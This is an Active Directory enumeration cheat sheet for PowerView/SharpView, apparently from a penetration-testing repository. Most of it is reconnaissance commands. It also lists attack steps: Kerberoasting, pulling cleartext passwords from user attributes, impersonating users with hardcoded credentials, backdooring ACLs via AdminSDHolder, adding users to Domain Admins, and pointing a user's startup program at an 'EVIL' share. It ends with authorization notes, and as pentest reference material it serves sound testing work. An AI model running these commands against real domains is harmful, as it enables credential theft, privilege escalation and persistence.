abelrguezr Active Directory Enumeration with PowerView/SharpView
A comprehensive guide for enumerating Active Directory environments using PowerView and SharpView tools.
Quick Reference
Domain Information
Get-NetDomain # Basic domain info
Get-DomainSID # Get domain SID
Get-DomainController # Domain controller details
Get-ForestDomain # All domains in forest
Get-DomainPolicy # Domain policy info
User Enumeration
Get-NetUser # List all users
Get-NetUser -PreauthNotRequired # ASREPRoastable users
Get-NetUser -SPN # Kerberoastable users
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE # Enabled users
Get-NetUser -LDAPFilter '(sidHistory=*)' # Users with sidHistory
Group Enumeration
Get-NetGroup # List all groups
Get-NetGroup -AdminCount # Admin groups
Get-NetGroupMember -Identity "Domain Admins" -Recurse # Group members
Computer Enumeration
Get-NetComputer # List all computers
Get-NetComputer -Unconstrained # Unconstrained delegation
Get-NetComputer -TrustedToAuth # Constrained delegation
ACL Analysis
Get-ObjectAcl -SamAccountName <user> -ResolveGUIDs # Object ACLs
Find-InterestingDomainAcl -ResolveGUIDs # Interesting ACEs
GPO Analysis
Get-DomainGPO # List all GPOs
Get-DomainGPOLocalGroup # GPO local group mappings
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators # Who's in local admins
Low-Hanging Fruit
Find-LocalAdminAccess # Find local admin access
Invoke-UserHunter # Find user locations
Find-DomainUserLocation # User location finder
Invoke-Kerberoast # Kerberoast attack
Detailed Enumeration
Domain Information
# Domain Info
Get-Domain # Get info about the current domain
Get-NetDomain # Get info about the current domain
Get-NetDomain -Domain mydomain.local # Specific domain
Get-DomainSID # Get domain SID
# Policy
Get-DomainPolicy # Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" # Kerberos tickets info
(Get-DomainPolicy)."SystemAccess" # Password policy
Get-DomainPolicyData # Same as Get-DomainPolicy
# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl
Get-NetDomainController -Domain mydomain.local
# Forest Info
Get-ForestDomain # Get all domains in forest
Get-ForestGlobalCatalog # Get forest global catalog info
Users
# Basic User Info
Get-DomainUser -Properties name, MemberOf | fl
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount
Get-NetUser -UserName student107 # Specific user
Get-NetUser -properties name, description # Specific properties
# Search Users
Find-UserField -SearchField Description -SearchTerm "built" # Search in fields
# Security-Relevant Users
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} # Reversible encryption
Get-NetUser -PreauthNotRequired # ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname # Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} # Domain admins kerberoastable
Get-NetUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto # Constrained delegation
Get-NetUser -AllowDelegation -AdminCount # Privileged users allowing delegation
# DC Sync Capable Users
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
# Password Not Required
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
# User Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname # All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE # All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED # Smart card required
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname # Not smart card
Get-NetUser -LDAPFilter '(sidHistory=*)' # Users with sidHistory
Groups
# Basic Group Info
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
Get-NetGroup # Get all groups
Get-NetGroup -Domain mydomain.local # Specific domain
Get-NetGroup 'Domain Admins' # Specific group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl # Admin groups
Get-NetGroup -UserName "myusername" # Groups of a user
# Group Members
Get-NetGroupMember -Identity "Administrators" -Recurse # Recursive members
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups # Local groups
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local
# AdminSDHolder
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
# GPO Groups
Get-NetGPOGroup # Get restricted groups
Computers
# Basic Computer Info
Get-DomainComputer -Properties DnsHostName # All domain computers
Get-NetComputer # All computer objects
Get-NetComputer -Ping # Ping to check if online
# Delegation
Get-NetComputer -Unconstrained # Unconstrained delegation
Get-NetComputer -TrustedToAuth # Constrained delegation
# Privileged Machine Accounts
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}
Organization Units
Get-DomainOU -Properties Name | sort -Property Name # All OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name}
Get-NetOU # Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_}
Logon and Sessions
Get-NetLoggedon -ComputerName <servername> # Current logon users (needs admin)
Get-NetSession -ComputerName <servername> # Active sessions
Get-LoggedOnLocal -ComputerName <servername> # Local logon users (needs remote registry)
Get-LastLoggedon -ComputerName <servername> # Last logged on user (needs admin)
Get-NetRDPSession -ComputerName <servername> # RDP sessions (needs admin)
Group Policy Objects (GPOs)
# Basic GPO Info
Get-DomainGPO | select displayName # GPO names
Get-NetGPO # All policies with details
Get-NetGPO -ComputerName <servername> # Policy on specific computer
# GPO Permissions
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs |
? { $_.ObjectAceType -eq "Group-Policy-Container" } |
select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Users with GPO modification rights (RID > 1000)
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? {
($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and
($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')
} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# User/Group GPO permissions
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
# GPO Utilities
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532 # GUID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126 # SID to name
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}' # GPO by GUID
# Local Group Mappings
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators |
select ObjectName, GPODisplayName, ContainerName, ComputerName
ACL Analysis
# Object ACLs
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
# Alternative ACL method
$sid = Convert-NameToSid <username/group>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
# File ACLs
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"
# Interesting ACEs
Find-InterestingDomainAcl -ResolveGUIDs # Unexpected permissions
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
# Administrator ACLs
Get-NetGroupMember -GroupName "Administrators" -Recurse |
?{$_.IsGroup -match "false"} |
%{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} |
select ObjectDN, IdentityReference, ActiveDirectoryRights
Shared Files and Folders
Get-NetFileServer # Search file servers
Find-DomainShare -CheckShareAccess # Search readable shares
Find-InterestingDomainShareFile # Find interesting files
Domain Trusts
Get-NetDomainTrust # All domain trusts
Get-DomainTrust # Same
Get-NetForestDomain | Get-NetDomainTrust # All trusts in forest
Get-DomainTrustMapping # Enumerate trusts
# Forest Info
Get-ForestDomain # Basic forest info
Get-ForestGlobalCatalog # Current forest
Get-ForestGlobalCatalog -Forest external.domain # External forest
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
# Forest Trusts
Get-NetForestTrust # Forest trusts (root to root)
# Foreign Objects
Get-DomainForeingUser # Users with privileges in other domains
Get-DomainForeignGroupMember # Groups with privileges in other domains
Low-Hanging Fruit
# Clear Text Passwords
$FormatEnumerationLimit=-1
Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword |
% {Add-Member -InputObject $_ NoteProperty 'Password'
"$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
# Local Admin Access
Find-LocalAdminAccess # Very noisy, needs RPC and SMB
# WMI Local Admin Access
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt # If RPC/SMB closed
# GPO Local Admin Mapping
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
# Local Admin Enumeration
Invoke-EnumerateLocalAdmin # Enumerate local admin members
Find-DomainLocalGroupMember
# Unconstrained Delegation
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
# User Hunter
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess] # Find user locations
Invoke-UserHunter -GroupName "RDPUsers" # Specific group
Invoke-UserHunter -Stealth # High traffic servers only
Deleted Objects
# Requires AD Recycle Bin group membership
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Utilities
SID to Name
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
Kerberoast
Invoke-Kerberoast [-Identity websvc] # Without -Identity, kerberoast all possible users
Use Different Credentials
$SecPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $SecPassword)
Get-DomainUser -Credential $Cred
Impersonate a User
# Requires -sta mode
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... perform actions ...
Invoke-RevertToSelf
Set Values
# Set user property
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set object owner
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# Backdoor ACLs through AdminSDHolder
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local'
-PrincipalIdentity matt -Rights All
# Add user to group
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
Common Attack Vectors
ASREPRoast
Users with pre-authentication not required can have their passwords cracked offline.
Get-NetUser -PreauthNotRequired
Kerberoast
Users with SPNs can have their TGS tickets requested and cracked.
Get-NetUser -SPN
Invoke-Kerberoast
Unconstrained Delegation
Computers with unconstrained delegation can capture admin credentials.
Get-NetComputer -Unconstrained
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
ACL Abuse
Interesting ACLs can lead to privilege escalation.
Find-InterestingDomainAcl -ResolveGUIDs
GPO Abuse
GPO permissions can be abused for persistence and privilege escalation.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators
Safety Notes
- Authorization Required: Only use these tools on systems you own or have explicit permission to test.
- Noisy Operations: Commands like
Find-LocalAdminAccessare very noisy and will trigger alerts. - Privilege Requirements: Many commands require domain user or admin privileges.
- Legal Compliance: Ensure compliance with all applicable laws and regulations.